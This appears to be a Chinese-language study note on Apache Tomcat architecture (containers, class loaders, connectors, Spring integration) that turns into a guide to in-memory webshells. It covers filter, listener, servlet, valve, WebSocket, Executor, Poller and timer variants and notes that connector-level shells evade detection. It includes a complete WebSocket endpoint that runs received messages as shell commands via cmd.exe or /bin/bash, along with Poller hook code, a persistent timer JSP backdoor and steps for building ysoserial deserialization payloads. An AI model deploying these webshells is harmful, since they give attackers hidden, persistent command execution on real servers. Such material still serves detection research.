Tomcat
https://segmentfault.com/u/wangzeming### tomcat\spring\java内省基础看这里,这个作者文章很全 https://pdai.tech/ java全栈文章在这里,作者为爱发电
•Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器。
•Servlet容器也叫做Servlet引擎,是Web服务器或应用程序服务器的一部分,用于在发送的请求和响应之上提供网络服务,解码基于 MIME的请求,格式化基于MIME的响应
tomcat容器
•Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper,这四个容器之间是父子关系
–Tomcat中的四种容器都继承自Container接口,其中Engin容器全局只有一个,是Container对外提供处理Request和Response的入口。Engin容器的BaseValve是StandardEngineValve,这个Valve会读取Request中的Host信息,然后把请求路由给对应的Host容器。
–Host容器是Engin容器的子容器,一个Engin容器可以包含多个Host容器,每个Host容器代表一个虚拟主机
•PipeLine:用于流式加工处理请求中的信息,每个PipeLine中可以包含多个阀门Valve,每个Valve都有同样的方法invoke(Request request,Response response)。
•BaseValve:基础阀门,和Piple中的阀门的接口相同方法:invoke(Request request,Response response),但是作用和Piple中的阀门不同,主要用于将请求传递到下一个容器或者对应的Servlet组件。
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw 2017年n1nty师傅在这里提到插入自定义valve实现内存马
•在一个tomcat里面同时支持三个域名,需要在server.xml文件里面的Engine标签下面添加多个Host标签,name表示域名,appbase表示虚拟主机的目录
–一个Host容器可以包含多个Context容器,通常情况下一个Context容器标识一个应用,对应于wabapp目录下面的一个工程
–一个Context容器又可以包含多个Wrapper容器:每个Wrapper容器包含一个Servlet容器,意味着Tomcat允许一个应用有多个servlet实现。Wrapper容器是最小的容器,每个Wrapper都可以对应一个Servlet的实例。
•当请求转发到Wrapper容器之后,wrapper容器在调用Pipeline方法之后,会使用特定的类加载器去加载servlet类,对servlet进行实例化和初始化,然后将请求交给servelt的service方法进行处理
java类加载的双亲委派机制 java中的类加载默认是采用双亲委派模型,即加载一个类时,首先判断自身define加载器有没有加载过此类,如果加载了直接获取class对象,如果没有查到,则交给加载器的父类加载器去重复上面过程
•Wrapper容器的基本阀门StandardWrapperValve还会在调用servelt容器之前调用用户配置的过滤器链Filter。
此处插入filter内存马
•应用程序中的servlet只能引用部署在WEB-INF/classes目录及其子目录下的类。但是,servlet类不能访问其它路径中的类,即使这些累包含在运行当前Tomcat的JVM的CLASSPATH环境变量中
•servlet类只能访问WEB-INF/LIB目录下的库,其它目录的类库均不能访问
–
tomcat类加载器
Tomcat中的载入器值得是Web应用程序载入器,而不仅仅是类载入器,载入器必须实现Loader接口
public interface Loader { public void backgroundProcess(); 当Context容器开启了Reload功能并且仓库变更的情况下,Loaders会先把类加载器设置为Web类加载器,重启Context容器。重启Context容器会重启所有的子Wrapper容器,会销毁并重新创建servlet类的实例,从而达到动态加载servlet类的目的 public ClassLoader getClassLoader(); 默认的类加载器的实现有两种种:ParallelWebappClassLoader和WebappClassLoader。默认情况下使用ParallelWebappClassLoader作为类加载器 + WebappClassLoader会缓存之前已经载入的类来提升性能,还会缓存加载失败的类的名字存放ResourceEntry类实例中,若失败,当再次请求加载同一个类的时候,类加载器就会直接抛出ClassNotFindException异常,而不是再次去查找这个类 1. 因为所有已经载入的类都会缓存起来,所以载入类的时候要先检查本地缓存。 2. 若本地缓存没有,则检查父类加载器的缓存,调用ClassLoader接口的findLoadedClass()方法。 3. 若两个缓存总都没有,则使用系统类加载器进行加载,防止Web应用程序中的类覆盖J2EE中的类。 4. 若启用了SecurityManager,则检查是否允许载入该类。若该类是禁止载入的类,抛出ClassNotFoundException异常。 5. 若打开了标志位delegate,或者待载入的在类不能用web类加载器加载的类,则使用父类加载器来加载器来加载相关类。如果父类加载器为null,则使用系统类加载器。 6. 从当前仓库载入类。 7. 当前仓库没有需要载入的类,而且delegate关闭,则是用父类载入器来载入相关的类。 8. 若没有找到需要加载的类,则抛出ClassNotFindException。 public Context getContext(); public void setContext(Context context); 用来将载入器和某个servlet容器关联 public boolean getDelegate(); public void setDelegate(boolean delegate); 载入器的实现会指明是否要委托给父类的载入器,可以通过setDelegate()和getDelegate方法配置。 public void addPropertyChangeListener(PropertyChangeListener listener); public boolean modified(); 在载入器的具体实现中,如果仓库中的一个或者多个类被修改了,那么modified()方法必须放回true,才能提供自动重载的支持。 WebappLoader类支持自动重载功能。如果WEB-INF/classes目录或者WEB-INF/lib目录下的某些类被重新编译了,那么这个类会自动重新载入,而无需重启Tomcat。为了实现此目的,WebappLoader类使用一个线程周期性的检查每个资源的时间戳。间隔时间由变量checkInterval指定,单位为s,默认情况下,checkInterval的值为15s public void removePropertyChangeListener(PropertyChangeListener listener); }
除了加载web应用默认使用的WebappLoader类加载器,还有其他几种加载器
•Common类加载器,Cataline类加载器和Shared类加载器会在Tomcat容器启动的时候就初始化完成,
•Webapp类加载器则是在Context容器启动时候有WebappLoader初始化
•程上下文类加载器线程上下文类加载器是指的当前线程所用的类加载器,可以通过Thread.currentThread().getContextClassLoader()获得或者设置。在spring中,他会选择线程上下文类加载器去加载web应用底下的类,如此就打破了双亲委托机制
•找到web.xml中的url-pattern->servlet-name->servlet-class->class extends HttpServlet
,如果十个web应用都引入了spring的类,由于web类加载器的隔离,那么对内存的开销是很大的。此时我们可以想到shared类加载器,我们肯定都会选择将spring的jar放于shared目录底下,但是此时又会存在一个问题,shared类加载器是webapp类加载器的parent,若spring中的getBean方法需要加载web应用底下的类,这种过程是违反双亲委托机制的
tomcat连接器
•Service组件包含两种组件:连接器和Servlet容器
•每个连接器组件Connector都可以指定一个Servlet容器处理其解析得到的Request和Response,所以Service的功能比较简单,就是为Service中的每个组件设置Servlet容器
•每个连接器组件Connector都可以指定一个Servlet容器处理其解析得到的Request和Response,所以Service的功能比较简单,就是为Service中的每个组件设置Servlet容器
•Tomcat中就是通过连接器Connector来管理Socket连接、解析Scoket请求为Request并封装响应数据为Response对象
•Coyote作为独立的模块,只负责具体协议和I/O的处理,与Servlet规范实现没有直接关系,因此即便是Request和Response对象也并未实现Servlet规范对应的接口,而是在Catalina中将他们进一步封装为ServletRequest何ServletResponse。
•Coyote是Tomcat链接器框架的名称,是Tomcat服务器提供的供客户端访问的外部接口。客户端通过Coyote与服务器建立链接、发送请求并且接收响应
•Coyote封装了底层的网络通信(Socket请求以及响应处理),为Catalina容器提供了统一的接口,是Catalina容器与具体的请求协议以及 I/O方式解耦。Coyote将Socket输入转换为Request对象,交由Catalina容器进行处理,处理请求完成之后,Catalina通过Coyote提供的Response对象将结果写入输出流。
Coyote框架支持HTTP/1.1协议、AJP协议、HTTP/2.0协议
针对HTTP和AJP协议,Coyote又按照 I/O方式分别提供了不同的选择方案
1.NIO:采用Java NIO类库实现。(默认)
2.NIO2:采用JDK 7最新的NIO2类库实现。
3.APR:采用APR(Apache可移植运行库)实现
这张图可能是我理解有问题,我并没有看出来任何不同协议的解析方式的区别在这张图上有体现
在Connector中有如下几个核心概念:
•Endpoint:Coyote通信端点,即通信监听的接口,是具体的Socker接收处理类,是对传输层的抽象。Tomcat并没有Endpoint接口,而是提供了一个抽象类AvstractEndpoint。根据I/O方式的不同,提供了NioEndpoint(NIO)、AprEndpoint(APR)以及Nio2Endpoint(NIO2)三个实现。
这里要注意,NioEndpoint这个后面做tomcat回显时候可以用到
•Processor:Coyote协议处理接口,负责构造Request和Response对象,并且通过Adapter将其提交到Catalina容器处理,是对应用层的抽象。Processor是单线程的
•UpgradeProtocol:Tomcat采用UpgradeProtocol接口表示HTTP升级协议,当前只提供了一个实现(Http2Protocol)用于处理HTTP/2.0。Tomcat中的WebSocket也是通过UpgradeToken机制实现的
spring+tomcat
Spring容器在容器启动的时候,会调用WebApplicationType.deduceFromClasspath()方法来推断当前的应用程序类型,当我们在项目中添加了spring-boot-starter-web的依赖之后,项目路径中会包含webMvc的类,对应的Spring应用也会被识别为Web应用
Spring可以判断出当前应用的类型,之后Spring就需要根据应用类型去创建对应的ApplicationContext
对于我们关注的普通web应用,Spring会创建一个AnnotationConfigServletWebServerApplicationContext。容器中必定包含了servlet容器的初始化
// 创建Tomcat容器的WebServer this.webServer = factory.getWebServer(getSelfInitializer());
在Spring容器启动的时候会初始化WebServer,也就是初始化Tomcat容器
初始化Tomcat容器的过程中,第一步是获取创建Tomcat WebServer的工厂类TomcatServletWebServerFactory,分析源码可知,Spring是直接通过Bean的类型从Spring容器中获取ServletWebServerFactory的,所以Tomcat容器类型的SpringBoot应该在启动时向容器中注册TomcatServletWebServerFactory的实例作为一个Bean
拿到用于创建WebServer的ServletWebServerFactory,我们就可以开始着手创建WebServer了
创建WebServer的第一步是拿到创建时需要的参数,这个参数的类型是ServletContextInitializer,ServletContextInitializer的作用是用于初始化ServletContext,接口源码如下,从接口的注释中我们就可以看到,这个参数可以用于配置servlet容器的filters,listeners等信息
Spring是通过getSelfInitializer()方法来获取初始化参数,查看getSelfInitializer()方法,可以发现该方法实现了如下功能:
1.绑定SpringBoot应用程序和ServletContext;
2.向SpringBoot注册ServletContext,Socpe为Application级别;
3.向SpringBoot上下文环境注册ServletContext环境相关的Bean;
4.获取容器中所有的ServletContextInitializer,依次处理ServletContext
获取到用于创建WebServer的参数之后,Spring就会调用工厂方法去创建Tomcat对应的WebServer
从下面初始化Web容器的代码可以看到,Spring容器会注册两个和WebServer容器相关的生命周期Bean:
1.容器的优雅关闭Bea——webServerGracefulShutdown。
2.容器的生命周期管理的Bean——webServerStartStop
getBeanFactory().registerSingleton("webServerGracefulShutdown", new WebServerGracefulShutdownLifecycle(this.webServer)); getBeanFactory().registerSingleton("webServerStartStop", new WebServerStartStopLifecycle(this, this.webServer));
如果直接使用kill -9 方式暴力的将项目停掉,
大致需要解决如下问题:
•首先要确保不会再有新的请求进来,所以需要设置一个流量挡板
•保证正常处理已进来的请求线程,可以通过计数方式记录项目中的请求数量
•如果涉及到注册中心,则需要在第一步结束后注销注册中心
•停止项目中的定时任务
•停止线程池
•关闭其他需要关闭资源等等等
Spring提供Tomcat优雅关闭的核心类是WebServerGracefulShutdownLifecycle
1.关闭Tomcat容器的所有的连接器,连接器关闭之后会停止接受新的请求。
2.轮询所有的Context容器,等待这些容器中的请求被处理完成。
3.如果强行退出,那么就不等待所有容器中的请求处理完成。
4.回调优雅关闭的结果,有三种关闭结果:REQUESTS_ACTIVE有活跃请求的情况下强行关闭,IDLE所有请求完成之后关闭,IMMEDIATE没有任何等待立即关闭容器。
Spring容器在启动的时候会向JVM注册销毁回调方法,JVM在收到kill -15之后不会直接退出,而是会一一调用这些回调方法
内存马
tomcat调试
调试进入tomcat(org.apache.catalina.core)需要将tomcat下lib文件夹内容加到项目lib库中
根据写的demo分别再init和dofilter打断点,可以看到filter初始化和访问时处理过程中涉及到的类和方法
不同内存马(tomcat、weblogic、jetty等)的区别在于不同中间件处理请求的流程和上下文context获取方式不同
利用jsp创建filter,request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,利用反序列化注入内存马需要考虑回显问题
对tomcat的filter结构理解大致如下
自己画的图,属实有点丑
正好利用内存马获取参数值来复习反射用法
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
反射是一种在运行时动态获取和操作类、对象、方法和字段的能力。它允许程序在运行时检查和操作其自身的内部结构,而不需要提前知道这些结构的具体信息。 在给定的代码片段中,使用了反射来获取应用程序的上下文对象。下面是对代码的解释: request.getSession().getServletContext():通过HttpServletRequest对象获取到当前会话的ServletContext对象。ServletContext是一个Web应用程序的全局范围的对象,用于在应用程序的不同组件之间共享数据和资源。 servletContext.getClass().getDeclaredField("context"):调用ServletContext对象的getClass()方法获取其对应的Class对象,然后使用getDeclaredField()方法获取名为"context"的字段。这里假设ServletContext类中有一个名为"context"的私有字段。 appctx.setAccessible(true):通过调用setAccessible(true)方法,将私有字段设置为可访问的,以便可以在后续步骤中获取它的值。 appctx.get(servletContext):调用get()方法,传入ServletContext对象,从中获取私有字段的值。这里假设"context"字段的类型为ApplicationContext。 (ApplicationContext)appctx.get(servletContext):将获取到的字段值强制转换为ApplicationContext类型,存储在变量applicationContext中。 通过上述代码,使用反射技术获取了ServletContext对象中名为"context"的私有字段,并将其转换为ApplicationContext类型。这样就可以在代码中访问和使用该字段所代表的应用程序上下文对象。
在Java中,使用反射通过`get`方法获取字段的值需要遵循以下步骤: 1. 获取要访问的字段所在的类的`Class`对象。可以使用对象的`getClass()`方法获取其对应的`Class`对象,或者使用`Class.forName()`方法通过类的全限定名获取`Class`对象。 2. 使用`Class`对象的`getDeclaredField()`方法获取字段对象。该方法需要传入字段的名称作为参数。 3. 设置字段可访问性。如果字段是私有的,需要调用`setAccessible(true)`方法将其设置为可访问的。这样可以绕过访问修饰符的限制。 4. 使用`Field`对象的`get()`方法获取字段的值。该方法需要传入要获取值的对象作为参数,如果字段是静态的,可以传入`null`。 5. 根据字段的类型进行必要的类型转换。 下面是一个示例代码,演示如何使用反射的`get`方法获取对象的字段值: ```java import java.lang.reflect.Field; public class ReflectionExample { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { // 获取要访问的类的Class对象 MyClass obj = new MyClass(); Class clazz = obj.getClass(); // 获取字段对象 Field field = clazz.getDeclaredField("myField"); // 设置字段可访问性 field.setAccessible(true); // 获取字段的值 Object value = field.get(obj); // 类型转换 if (value instanceof String) { String strValue = (String) value; System.out.println("Field value: " + strValue); } } } class MyClass { private String myField = "Hello, World!"; } ``` 在上述示例中,我们首先获取了`MyClass`的`Class`对象,然后通过`getDeclaredField()`方法获取了名为`myField`的字段对象。接下来,通过调用`setAccessible(true)`方法设置字段可访问性。最后,使用`get()`方法获取字段的值,并进行类型转换。在本例中,我们将字段的值转换为`String`类型,并输出到控制台上。 需要注意的是,使用反射的`get`方法获取字段值可能会导致性能下降,并且不符合封装性原则。因此,建议在正常情况下优先使用对象的公共方法来访问和修改其字段值。只有在特殊情况下,例如在框架或库的开发中,才需要使用反射来访问私有字段。
一句话概述,先获取实例,再通过实例.class获取该实例的对象(类),通过getDeclaredField,获取这个对象(类)的私有属性的对象(类),再通过这个私有属性对象(类)的get方法传入实例,获取这个实例的私有属性的值
1.创建一个恶意 Filter
2.利用 FilterDef 对 Filter 进行一个封装
3.将 FilterDef 添加到 FilterDefs 和 FilterConfig
4.创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
内存马/反序列化RCE 回显方式
1.报错回显
2.web中获取当前上下文对象(response、context、writer等)
1.tomcat通过applicationFilterChain中的lastServicedRequest和lastServicedResponse设置并获取当前ThreadLocal的Request和Response变量
2.spring通过ContextLoader.getCurrentWebApplicationContext().getServletContext()获得
3.spring也可以通过RequestContextHolder.getRequestAttributes().getRequest()获得
3.可以出网情况下OOB
4.在LINUX环境下,可以通过文件描述符"/proc/self/fd/i"获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题(Poller内存马的出现已经解决fd的问题,这个方法感觉被替代了)
1.通过指定客户端发起请求的源端口号,通过cat grep awk组合大法在tcp表中拿到inode,用拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字,再调用java代码打开文件描述符即可实现带内回显
这个文章的评论提了利用socks的fd文件做80端口复用的方法,可以再去看下suo5的脚本看能不能改造流量转发工具
http://www.phpweblog.net/GaRY/archive/2011/10/09/PHP\_Port\_Reuse\_With\_Apache\_FD.html
天下大木头文章中提到的参考链接文章和参考链接文章中提到的参考链接都去看一遍,有重复但都有额外内容
内存马类型
tomcat
•filter
•listener
•servlet
•java agent
•Spring Interceptor(拦截器) 内存马
•Valve
•Websocket
•Executor
•Spring Controller
filter内存马
反射修改final属性值
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{"/*"}); //这里添加filtermap
这里第二个参数是false默认会把filter加到首位,但是后面还是要强制把filter的位置放到第一个,beichen师傅讲解原因如下:
是为了让自己的过滤器永远排在第一位,也就是当请求过来的时候优先调用恶意的过滤器,为什么这么写呢,假如有的网站有鉴权过滤器,不登录的用户永远访问不到你的过滤器
用everything搜索maven找到idea安装的maven把路径添加到环境变量
C:\Program Files\JetBrains\IntelliJ IDEA 2023.1\plugins\maven\lib\maven3\bin
打包三梦和kingkaki的ysoserial测试,可以在bin/mvn.cmd中修改配置路径指定java的版本
mvn package -DskipTests 一定要修改maven源! conf/setting.xml <mirror> <id>nexus-aliyunid> <mirrorOf>centralmirrorOf> <name>Nexus aliyunname> <url>http://maven.aliyun.com/nexus/content/groups/publicurl\> mirror> 还要修改pom.xml中的org.apache.maven.plugins和maven-assembly-plugin <groupId>org.apache.maven.pluginsgroupId> <artifactId>maven-compiler-pluginartifactId> <version>3.5.1version> <configuration> <source>1.8source> <target>1.8target> <compilerArgument>-XDignore.symbol.filecompilerArgument> <fork>truefork> configuration> <plugin> <artifactId>maven-assembly-pluginartifactId> <configuration> <finalName>${project.artifactId}-${project.version}-allfinalName> <appendAssemblyId>falseappendAssemblyId> <archive> <manifest> <mainClass>ysoserial.GeneratePayloadmainClass> manifest> archive> <descriptors> <descriptor>assembly.xmldescriptor> descriptors> configuration>
天下大木头给的代码不能直接利用,要写一个有反序列化漏洞的servlet,然后用上面两个项目的代码生成payload去打
也就是在打cc链的时候把里面的恶意class改成我们的class,一般喜欢用cc11打
单纯偷懒不想搞环境可以直接用jsp注入去调试看 https://mp.weixin.qq.com/s/USIn50RITRF87AigssRyaA (servlet、listener、filter) 但是jsp天然优势就是省略了获取context的过程,直接通过 request.getServletContext()获取当前请求的context 利用反序列化漏洞写内存马是最复杂的,jsp写很简单,request和response变量很好获得,但是还是会落地class文件,同样的原因可以类比ysoserial.net中的GhostWebShell.cs,也是基于此想法,打算把之前的.net内存马全部改写整合到ysoserial.net中
filter内存马shiro没法用,因为shiro处理rememberme本身就是自己写了个filter去处理,在里面拿不到request和response
listener内存马
<%这个里面写java代码%>这个叫做小脚本,是写java代码的 <%!--这个里面是JSP的注释--%> – –> 是客户端注释代码 <%! var可设置该页面的全局变量%>这个是jsp中脚本声明,是些一些必要的方法的 <%@ %> 有个@符号的,叫做指令 ${ }这个是el表达式 <%=变量 %> 是 <% out.println(变量) %> 的简写方式 <% String username="abc"; %> 用户:<%=username%> 用户:<% out.println(username) %> <%%>叫代码片段,用户装java代码的. <%!%>叫声明,用于声明函数或变量的。相当于声明类的成员。 <%%>是jspscript代码段,在由jsp转换成Servlet后 <%%>中的代码是放在serive方法中,相当与 doGet()和doPost()方法 <%!%>是jsp声明,用来定义属性和方法的,在由jsp转换成Servlet后 <%!%>中的代码是放serive 方法之外的 <%=%>是jsp表达式,在由jsp转换成Servlet后 <%=%>中的代码是放在,service方法中的 out.println("这里")中的其中的内容将直接输出到浏览器的页面中
https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv
和https://mp.weixin.qq.com/s/USIn50RITRF87AigssRyaA中listener内存马搭配食用
两个添加内存马使用的方法不一样,但都是获取standardcontext并在ApplicationEventListener数组里添加listener
根据调试可以看到获取到的request变量的值就是RequestFacade实例,obj为ApplicationContextFacade实例,这个实例的classCache属性为hashmap,其中的value包含多个方法对应的获取的属性值的类,
他的context属性中的context属性包含Standardcontext
向数组添加listener
之后就会触发执行命令了
servlet内存马
1.创建恶意Servlet
2.用Wrapper对其进行封装
3.添加封装后的恶意Wrapper到StandardContext的children当中
4.添加ServletMapping将访问的URL和Servlet进行绑定
webappClassLoaderBase的值为ParallelWebappClassLoader实例
Resources为StandardRoot,context为我们要的StandardContext
如果是java7会报错
原因是getResources返回对象为null,强制类型转换时出错抛出null指针错误
Valve内存马
https://www.anquanke.com/post/id/225870
https://www.freebuf.com/articles/web/348663.html
给standardcontext中的pipeline添加valve,添加后的next如下
Websocket内存马
1.获取当前的StandardContext
2.通过StandardContext获取ServerContainer
3.定义一个恶意类,并创建一个ServerEndpointConfig,给这个恶意类分配URI path
4.调用ServerContainer.addEndpoint方法,将创建的ServerEndpointConfig添加进去
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.websocket.server.WsServerContainer; import javax.websocket.*; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream; public class evil extends Endpoint implements MessageHandler.Whole<String> { static { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); // System.out.println("ok!"); } catch (DeploymentException e) { throw new RuntimeException(e); } } private Session session; public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); this.session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } @Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(this); } }
Executor内存马->Poller内存马
之前看fd回显修改socket文件的时候就在想能不能控制我们的socket或者fd文件,这样就解决了负载均衡的问题,这个问题在深蓝师傅将内存马注入位置从container迁移到前置的connector时就得到了解决
Tomcat分为两个大组件,一个连接器和一个容器,tomcat内存马检测就是检测容器内的内存马,无法检测连接器位置的内存马
连接器 Connector
连接器进一步细化:
•监听网络端口;
•接受网络请求;
•读取网络字节流;
•根据应用层协议解析字节流,生成统一的 tomcat request 和 tomcat response 对象;
•将 tomcat request 对象转成 servletRequest;
•调用 servlet 容器,得到 servletResponse;
•将 servletResponse 转成 tomcat response;
•将 tomcat response 转成网络字节流;
•将响应字节流写回给浏览器;
ProtocolHandler
Endpoint
接口,抽象实现类是 AbstractEndpoint,具体子类在 NioEndpoint 和 Nio2Endpoint,其中两个重要组件:Acceptor 和 SocketProcessor。
Acceptor 用于监听 Socket 连接请求,SocketProcessor 用于处理收到的 Socket 请求,提交到线程池 Executor 处理。
Processor
接收 Endpoint 的 socket,读取字节流解析成 tomcat request 和 response,通过 adapter 将其提交到容器处理。Processor 的具体实现类 AjpProcessor、Http11Processor 实现了特定协议的解析方法和请求处理方式。
Endpoint 接收到 socket 连接后,生成一个 socketProcessor 交给线程池处理,run 方法会调用 Processor 解析应用层协议,生成 tomcat request 后,调用 adapter 的 service 方法。
Adapter
ProtocolHandler 接口负责解析请求生成 tomcat requst,CoyoteAdapter 的 service 方法,将 Tomcat Request 对象,转成 ServletRequest,再调用 service 方法
ProtocolHandler和Adapter,前者用于处理请求,而后者则是Connector与Container容器之间的一个连接器。
protocolHandler是Connector的一个主要属性,是Coyote用来处理协议的主要接口
Coyote默认支持HTTP/1.1、HTTP/2、AJP协议,AJP协议是面向包的协议,因为虽然Tomcat可以作为独立的java web容器,但是它对静态资源的处理速度远不如其他专业的HTTP服务器比如Nginx,所以通常在实际应用中需要与其他HTTP服务器集成,而这个集成由AJP完成,默认监听8009端口。
另外Coyote默认支持NIO、NIO2(AIO)、APR三种I/O处理方式
APR表示Apache可移植运行库,是Aapche Http服务器的支持库,开启这个模式Tomcat将以JNI的形式调用Apache HTTP服务器的核心链接库来处理文件或网络传输操作,从操作系统级别解决异步IO问题,大幅度的提高服务器的处理和响应性能,是Tomcat运行高并发应用的首选。
NioEndpoint
这个NioEndpoint作为Tomcat NIO的IO处理策略,主要提供工作线程和线程池:
•Socket接收者Acceptor
•Socket轮询者Poller
•工作线程池
https://www.jianshu.com/p/a03357de3f38
public class NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel> { /* 线程安全的Selector池 */ private NioSelectorPool selectorPool = new NioSelectorPool(); /* 轮询事件的缓存栈 */ private SynchronizedStack<PollerEvent> eventCache; /* NioChannel的缓存栈,NioChannel对SocketChannel封装,使SSL与非SSL对外提供相同的处理方式 */ private SynchronizedStack<NioChannel> nioChannels; /* 轮询线程的优先级 */ private int pollerThreadPriority = Thread.NORM_PRIORITY; /* 轮询线程数量,2与JVM可利用线程中取小值 */ private int pollerThreadCount = Math.min(2,Runtime.getRuntime().availableProcessors()); /* 轮询线程池 */ private Poller[] pollers = null; ... } public abstract class AbstractEndpoint<S,U> { /* Endpoint的运行状态 */ protected volatile boolean running = false; /* Endpoint暂停时设置为true */ protected volatile boolean paused = false; /* 标记使用的是否为默认线程池 */ protected volatile boolean internalExecutor = true; /* 流量控制阀门,Socket连接数限制,达到阈值之后放入FIFO队列 */ private volatile LimitLatch connectionLimitLatch = null; /* 代表在Server.xml中可设置的一些Socket相关属性 */ protected final SocketProperties socketProperties = new SocketProperties(); /* 接收线程,接收连接并交给工作线程 */ protected List<Acceptor<U>> acceptors; /* Socket处理对象的缓存栈 */ protected SynchronizedStack<SocketProcessorBase<S>> processorCache; /* 接收线程数量,默认为1 */ protected int acceptorThreadCount = 1; /* 接收线程的优先级 */ protected int acceptorThreadPriority = Thread.NORM_PRIORITY; /* 最大连接数nio模式默认10000,Apr模式默认8*1024 */ private int maxConnections = 10000; /* keepAlive时间,没有设置则使用soTimeout */ private Integer keepAliveTimeout = null; /* 是否开启ssl */ private boolean SSLEnabled = false; /* request的keepAlive时间 */ private int maxKeepAliveRequests = 100; /* ConnectionHandler */ private Handler<S> handler = null; /* 用于存放传递给子组件的信息 */ protected HashMap<String, Object> attributes = new HashMap<>(); }
LimitLatch是一个连接控制器,负责连接限制,nio模式下默认10000,达到阈值则拒绝连接请求。
Acceptor负责接收请求,默认由1个线程负责,将请求的事件注册到事件列表中。
Poller负责轮询上述产生的事件,将就绪的事件生成SokcetProcessor,交给Excutor去执行。
SokcetProcessor里面的doRun方法,封装了Socket的读写,完成Container调用逻辑。
Excutor用来执行Poller创建的SokcetProcessor,线程池大小Connector节点配置的maxThreads决定。
通过nioEndpoint.setExecutor(exe);构造恶意Executor插入
作者代码少写了个返回,会报500,加上就可以
缺点:几次请求才能拿到我们发的payload去执行
原因:我们执⾏的位置是在Executor,这个时候Socket流中的数据还没有被 read,通过线程遍历获取到的request其实是前⼀次(或者前⼏次,跟线程数有关)的缓存数据,所以 获取命令需要我们多次进⾏request请求
改良方式:
Poller中的Real NioSocketWrapper对象通过其read方法可成功获取当次的request请求
if (threadName.contains("Poller")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { byte[] bytes = new byte[8192];//Tomcat的NioSocketWrapper中默认buffer大小 ByteBuffer buf = ByteBuffer.wrap(bytes); try { LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList"); for (Object obj : linkedList) { try { SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys"); for (Object tmp : selectionKeys) { try { NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
缺点:由于缓冲区设置成8192,并且我们发送 的HTTP消息也才不到2000字节,这就导致可读取的数据其实就是⼤于0的。⼀旦⼤于0就会抛出异常, 这个异常就导致服务器主动关闭连接
解决⽅案就是:有多少数据,ByteBuffer就设置成多⼤
protected void processKey(SelectionKey sk, NioEndpoint.NioSocketWrapper at tachment) { // 推荐作为全局变量,做中间管道 ByteBuffer allocate = ByteBuffer.allocate(8192); int read = 0; try { read = attachment.read(false, allocate); } catch (IOException e) { } ByteBuffer readBuffer = ByteBuffer.allocate(read); // 有多少数据就设置多少数据 readBuffer.put(allocate.array(), 0, read); readBuffer.position(0); attachment.unRead(readBuffer); super.processKey(sk, attachment); }
缺点:Processor组件对socket处理之前我们就已进⾏过⼀次read,后续的处理 逻辑势必⽆法再次获取已读取过的request数据
解决方案:NioSocketWrapper⽗类SocketWrapperBase中,有⼀个⽅法名为 unRead,将已读取过的read数据重新放回socket
缺点:tomcat8.5.0以后,在tomcat封装的socket⽀持unread的数据回写,8.5.0以下不能使用
改进方式:Socket毒化
https://zhuanlan.zhihu.com/p/562616365
poller内存马:
https://github.com/Kyo-w/trojan-eye
executor和poller内存马对比:
Executor鲁棒性比Poller好。原因很简单,Poller是全局唯一的线程(tomcat8、9/springboot),如果线程处理逻辑的时候出现不可预测的异常,线程就会终止,一旦线程终止,整个tomcat的服务直接崩溃,因为缺少了接收与创建任务的执行线程。这也就是说注入Poller的内存马一定是不能出任何bug的,一旦出了,整个服务直接崩溃。在起初做试验时,经常因为木马报错,导致整个服务不能访问,只能重启服务解决,所以风险很高!反向,Executor是一个任务类,创建后就执行一个线程任务,如果这次业务异常,最多这次的请求无法正常执行罢了
timer内存马(2014)
一个 jsp 后门,这个 jsp 创建了一个 Timer 计时器对象,然后使用 schedule 方法创建了一个 TimerTask 对象,也就是说创建了一个定时任务,每隔 1000 ms,就执行一次 java.util.TimerTask#run 方法里面的逻辑。
也就是说,在访问了一次这个 jsp 后,会启动一个计时器进行无限循环,一次执行直到服务器重启。即使将这个 jsp 删除,依旧是会继续进行这个任务
<%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% out.println("timer jsp shell"); java.util.Timer executeSchedule = new java.util.Timer(); executeSchedule.schedule(new java.util.TimerTask() { public void run() { try { Runtime.getRuntime().exec("open -a Calculator.app"); } catch (IOException e) { e.printStackTrace(); } } }, 0, 10000); %>
